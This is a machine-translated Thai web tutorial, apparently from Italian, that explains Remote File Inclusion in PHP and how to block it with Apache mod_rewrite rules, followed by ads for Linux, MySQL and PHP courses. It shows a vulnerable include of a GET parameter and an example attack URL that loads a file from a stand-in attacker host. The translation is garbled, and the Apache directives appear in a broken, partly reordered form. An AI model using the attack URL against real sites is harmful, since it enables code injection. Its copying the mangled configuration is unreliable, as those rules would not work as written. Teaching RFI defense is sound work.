..
หนึ่งในการโจมตีที่พบบ่อยที่สุดที่ประสบความโดยเว็บไซต์จะทำผ่านความพยายามที่จะรวมไฟล์ที่มีโค้ดที่เป็นอันตรายในทางทฤษฎีการพูดของการโจมตีเป็นง่ายมากในการดำเนินการที่จะทำเพียงเพราะไฟล์ที่มีโค้ดที่เป็นอันตรายและ URL ที่จะพิมพ์เป็น เบราว์เซอร์
ประเภทของการโจมตีหรือที่รู้จักกันโดยระยะทางเทคนิคสำหรับการรวมไฟล์ระยะไกลหรือกับตัวย่อที่เรียบง่ายสำหรับ RFI, นี้มักจะเกี่ยวข้องกับโหมดที่เรียกว่าการบุกรุก XSA (โจมตีข้าม - Server) มักจะทำเพื่อความปลอดภัยของเว็บไซต์ ถ้าไม่ได้เว็บเซิร์ฟเวอร์, ปัจจัยที่ทำให้ยิ่งเป็นอันตรายต่อ RFI
เพื่อเปิดการโจมตี RFI, โจมตีความต้องการของ"ความจำ"ภายในโปรแกรมประยุกต์ในการที่จะทำให้การรวมของระยะไกลนี้"พื้นที่"โดยทั่วไปเป็น"หลุม"(BUG) รักษาความปลอดภัยที่ทำให้มันเป็นสคริปต์ที่มีช่องโหว่
กรณีคลาสสิกของการรั่วไหลความไวต่อการ RFI ที่เป็นที่เกี่ยวข้องกับการผ่านหน้าผ่านชื่อตัวแปรเพียงชิ้นง่ายของรหัสเช่นนี้เป็นอันตรายต่อใบสมัคร :
# รวมไฟล์ผ่านตัวแปรสตริงการสืบค้นผ่าน รวม ($ _GET ['หน้า']);ในรหัสที่เรามีตัวแปรไม่ได้กำหนดหรือมากกว่าที่จะกำหนดตามพารามิเตอร์ที่ส่งผ่านสตริงการสืบค้นตัวอย่างเช่นถ้าเป็น URL ของโดยตรงไปยังเพจที่มีรายการที่นำเสนอจะมีลักษณะเช่นนี้
http://www.sito.com/index.php?pagina=news.phpค่าของตัวแปร $ หน้าจะมีค่าเท่ากับ"ข่าว"การโจมตีในโปรแกรมนี้อาจจะดำเนินการในลักษณะนี้
http://www.sito.com/index.php?pagina=http://www.attacco.com/x.phpที่ไฟล์"x.php"ในกรณีของการโจมตีที่ประสบความสำเร็จที่อาจมีชนิดของโค้ดที่เป็นอันตรายใด ๆ และทำให้เกิดความเสียหายมากขึ้นมากและชัดเจนกว่าความเรียบง่ายของการโจมตีที่สามารถทำเพื่อคิดว่า
โชคดีที่มีบางเทคนิคการป้องกันที่สามารถใช้เพื่อป้องกันการโจมตีดังกล่าวในระหว่างการสนทนาสั้น ๆ นี้เราจะวิเคราะห์หนึ่งขึ้นอยู่กับโมดูลการเขียน URL ใหม่ (mod_rewrite) ให้โดย Apache เว็บเซิร์ฟเวอร์ที่สามารถใช้โดยวิธีการ ที่แตกต่างกัน
หนึ่งในคลาสสิคที่สุดในการส่งคำสั่งให้ Apache เว็บเซิร์ฟเวอร์คือการใช้คลาสสิก. htaccess ไฟล์จะรวมอยู่ในโฟลเดอร์ที่คุณต้องการการปกป้องจากการโจมตี
วิธีแรกที่เราใช้คือการแทรกกฎง่ายๆในแฟ้ม ก. Htaccess :
RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP) : \ / \ /(.*)
^(.+)$ RewriteRule -- [F]
กฎระบุว่าสูตรในสตริงการสืบค้นที่ ("{QUERY_STRING}") ไม่สามารถผ่านอาร์กิวเมนต์ที่มีคำต่อท้าย"HTTP","https"และ"FTP"ไม่ว่าสิ่งที่เนื้อหาของก่อนหน้าหรือถัดไปที่ไม่มี ("(.*)" พารามิเตอร์)
หากเกิดเหตุการณ์นี้เว็บเซิร์ฟเวอร์จะส่งกลับข้อผิดพลาดของ 403 (ต้องห้าม)
บรรดาผู้ที่มีความเป็นไปได้ของการเข้าถึงโดยตรงไปยังแฟ้มการกำหนดค่าของ Apache (httpd.conf) ก็สามารถแทรกในภาชนะเดียวที่มีคำสั่งสามารถมีผลเทียบเท่ากับหลักเกณฑ์ที่กำหนด prededentemente :
# ตรวจสอบว่า mod_rewrite สามารถใช้ได้
Mod_rewrite.c> <IfModule
# เปิดใช้งานเครื่องมือการเขียน URL ใหม่
RewriteEngine เมื่อ
# เราตั้งกฎของเรากับ RFI
RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP) : \ / \ /(.*)
# กรองออกการร้องขอที่เป็นไปได้สำหรับการรวมและทำเครื่องหมายขึ้น
# Vraibile กับสิ่งแวดล้อม [E varname = value]
^(.+)$ RewriteRule -- [F, E = RFI : จริง]
<IfModule />
# Creaimo บันทึกการพยายามที่จะ RFI เรา identficato
# ก่อนหน้านี้ใช้"ตัวแปรสภาพแวดล้อม"
CustomLog / folder_name / rfi.log รวม env = RFI
หลังจากเขียนคำสั่งไปยังไฟล์การตั้งค่าที่คุณจะต้องบันทึกการเปลี่ยนแปลงของคุณและเริ่มต้นเว็บเซิร์ฟเวอร์จะมีผลทราบว่าที่ส่วนท้ายของรายการและด้านนอกของภาชนะที่ได้รับการแทรกการร้องขอสำหรับการสร้างแฟ้มบันทึก ตั้งใจที่จะบันทึกการร้องขอจากการรวมแฟ้มจากระยะไกล, การตรวจสอบจากนี้เล็ก"บันทึกการปิดกั้นการโจมตี RFI,"เราจะพบว่าความพยายามที่ของการรวมไฟล์ระยะไกลไปยังเว็บไซต์ของเรามีน้อยผิดปกติกว่า เชื่อว่า
| |
ลินุกซ์ (หลักสูตร)
คู่มือที่สมบูรณ์ในระบบเปิดแหล่งที่มา จาก 49 € |
| |
MySQL (Course)
การบริหารจัดการฐานข้อมูลโอเพนซอร์ส จาก 39 € |
| |
PHP (หลักสูตร)
หลักสูตรเต็มสำหรับการสร้างเว็บไซต์แบบไดนามิก จาก 49 € |